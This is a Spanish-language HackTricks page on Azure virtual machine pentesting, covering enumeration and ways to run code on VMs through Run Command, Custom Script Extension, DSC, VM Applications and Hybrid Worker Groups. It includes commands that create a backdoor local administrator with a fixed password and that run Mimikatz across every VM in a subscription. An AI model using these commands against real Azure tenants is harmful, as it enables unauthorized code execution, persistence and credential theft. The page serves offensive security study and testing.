Az - Virtual Machines & Network

Support HackTricks

Información básica

De la documentación: Las máquinas virtuales de Azure son uno de varios tipos de recursos de computación escalables y bajo demanda que ofrece Azure. Típicamente, eliges una máquina virtual cuando necesitas más control sobre el entorno de computación que las otras opciones ofrecen. Este artículo te proporciona información sobre lo que debes considerar antes de crear una máquina virtual, cómo crearla y cómo gestionarla.

Información de Red de Azure

Las redes de Azure contienen diferentes entidades y formas de configurarlas. Puedes encontrar una breve descripción, ejemplos y comandos de enumeración de las diferentes entidades de red de Azure en:

Az - Azure Network

Azure Bastion

Azure Bastion ofrece una solución segura y completamente gestionada de acceso RDP (Protocolo de Escritorio Remoto) y SSH (Shell Seguro) a través de SSL mediante el portal de Azure. Está integrado dentro de una Red Virtual de Azure, permitiendo conectividad RDP y SSH a las máquinas virtuales utilizando IPs privadas, evitando la necesidad de IPs públicas. Esto lo convierte en una alternativa más segura y conveniente a los métodos tradicionales que implican asignaciones de IP públicas y configuraciones de reglas NSG para el acceso a máquinas virtuales. Los desarrolladores y el personal de TI pueden acceder de forma segura a las máquinas virtuales desde el portal de Azure utilizando sus navegadores web, agilizando el proceso para entornos de desarrollo y pruebas.

Para listar todos los Hosts de Azure Bastion en tu suscripción, puedes usar el siguiente comando:

az network bastion list --query "[].{name:name, resourceGroup:resourceGrou, location:location}" -o table

Enumeración de VM

# Get readable VMs
Get-AzVM | fl
# Lis running VMs
Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | fl *
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | select -ExpandProperty NetworkProfile

# Get iface and IP address
Get-AzNetworkInterface -Name <interface_name>
Get-AzPublicIpAddress -Name <iface_public_ip_id>

#Get installed extensions
Get-AzVMExtension -ResourceGroupName <res_group_name> -VMName <name>

Get-AzVM | select -ExpandProperty NetworkProfile # Get name of network connector of VM
Get-AzNetworkInterface -Name <name> # Get info of network connector (like IP)

Ejecutar comandos en una VM

Inicio de sesión AAD en VM

Es posible permitir el acceso a usuarios autenticados a través de AzureAD. Por ejemplo, al intentar acceder a una linux VM: ssh username@azure-corp.com@1.1.1.1 (es importante usar el correo electrónico con el azurecorp utilizado al intentar iniciar sesión) podrías obtener un error como:

(username@azure-corp.com@1.1.1.1) This preview capability is not for production use. When you sign in, verify the name of the app on the sign-in screen is "Azure Linux VM Sign-in" and the IP address of the target VM is correct.

To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code DT4PNSTGR to authenticate. Press ENTER when ready.

Simplemente sigue esas instrucciones yendo a https://microsoft.com/devicelogin e indicando el código, usa el correo electrónico y la contraseña como credenciales y podrás conectarte a través de SSH (si ese usuario tiene suficientes permisos para hacerlo: rol de Inicio de sesión de administrador de máquina virtual o Inicio de sesión de usuario de máquina virtual).

Ejecutar comando

# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
Invoke-AzVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose
## Another way
Invoke-AzureRmVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose

# Content of the script
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
New-LocalUser -Name new_user -Password $passwd
Add-LocalGroupMember -Group Administrators -Member new_user
# Try to run in every machine
Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt

Ejecutar Extensión de Script Personalizado

Las extensiones de máquina virtual (VM) de Azure son pequeñas aplicaciones que proporcionan configuración y automatización tareas posteriores a la implementación en VMs de Azure. Por ejemplo, si una máquina virtual requiere instalación de software, protección antivirus o la capacidad de ejecutar un script dentro de ella, puedes usar una extensión de VM.

Por lo tanto, si tienes acceso para escribirlo, puedes ejecutar código arbitrario:

# Microsoft.Compute/virtualMachines/extensions/write
Set-AzVMExtension -ResourceGroupName "Research" -ExtensionName "ExecCmd" -VMName "infradminsrv" -Location "Germany West Central" -Publisher Microsoft.Compute -ExtensionType CustomScriptExtension -TypeHandlerVersion 1.8 -SettingString '{"commandToExecute":"powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add"}'

DesiredConfigurationState (DSC)

DesiredConfigurationState (DSC) es una herramienta de PowerShell similar a Ansible, utilizada para configurar un host a través de código. DSC se integra con Azure, permitiendo la carga de archivos de configuración específicos. Estos archivos deben adherirse a una sintaxis estricta. Notablemente, la extensión DSC en Azure puede ejecutar comandos de archivos que cumplen con ciertos criterios de formato, incluso si la sintaxis no es correcta según los estándares de DSC, como se muestra en la figura proporcionada.

La ejecución de estos comandos es facilitada por la Publish-AzVMDscConfiguration función en Az PowerShell. Los requisitos incluyen un archivo .PS1 con una función definida y el archivo debe estar comprimido en un archivo .zip. Aunque la sintaxis puede no ser precisa para DSC, el código aún se ejecutará. Sin embargo, la extensión marcará el estado de ejecución como "fallo", y no se verá ninguna salida del comando debido a que el estado es sobrescrito por el mensaje de fallo.

VM Application Definitions

Las Definiciones de Aplicaciones de VM permiten el despliegue repetible de aplicaciones versionadas en una VM de Azure. Este recurso admite el despliegue y la actualización de aplicaciones en VMs. Para configurar esto, se requieren varios pasos, que implican comandos como New-AzGalleryApplication y New-AzGalleryApplicationVersion en Az PowerShell.

La ejecución de aplicaciones o comandos a través de este método involucra la "VMAppExtension", que se instala automáticamente cuando se aplica una aplicación a una VM. La extensión recupera el archivo de la URI especificada y lo nombra exactamente como la aplicación, sin una extensión. Para ejecutar el archivo correctamente, el campo "ManageActions" en la llamada a la API REST debe configurarse para renombrar el archivo con la extensión apropiada. La configuración de este método, una vez completada, se parecerá a la estructura mostrada en la figura proporcionada.

Sin embargo, este método de ejecución es relativamente lento, tardando alrededor de 3-4 minutos en ejecutar una aplicación o comando. Los archivos relacionados con este proceso se almacenan en directorios específicos (C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Downloads\ para la copia de la aplicación y C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Status\ para el estado de ejecución).

Ambas técnicas proporcionan formas únicas de ejecutar comandos y desplegar aplicaciones en entornos de Azure, cada una con su propio conjunto de requisitos, pasos y consideraciones.

Hybrid Worker Groups (HWGs) in Azure

Hybrid Worker Groups (HWGs) son una característica en Azure que permite que los Runbooks, configurados en una Cuenta de Automatización, se ejecuten en una Máquina Virtual (VM) de Azure que forma parte del HWG designado. Esta ejecución es facilitada a través de una extensión instalada en la VM, que despliega el código del Runbook en la VM. Un aspecto significativo de este proceso es que las credenciales reales no son un factor en la ejecución porque el código se ejecuta con privilegios elevados, específicamente como SYSTEM o root, como se ilustra en la figura proporcionada.

Un detalle crucial para aquellos que utilizan VMs de Windows 10 es la necesidad de especificar la versión de PowerShell para el Runbook. Debe configurarse para ejecutarse como PowerShell Version 5.1 en lugar de 7.1. Este requisito proviene del hecho de que PowerShell 7.1 no está instalado por defecto en estas VMs, lo que lleva a un fallo en la ejecución del script si se especifica la versión 7.1.

Esta característica de Azure ofrece un método robusto para automatizar y gestionar tareas en entornos híbridos, permitiendo la gestión y ejecución centralizada de tareas en VMs de Azure.

References

Support HackTricks

Last updated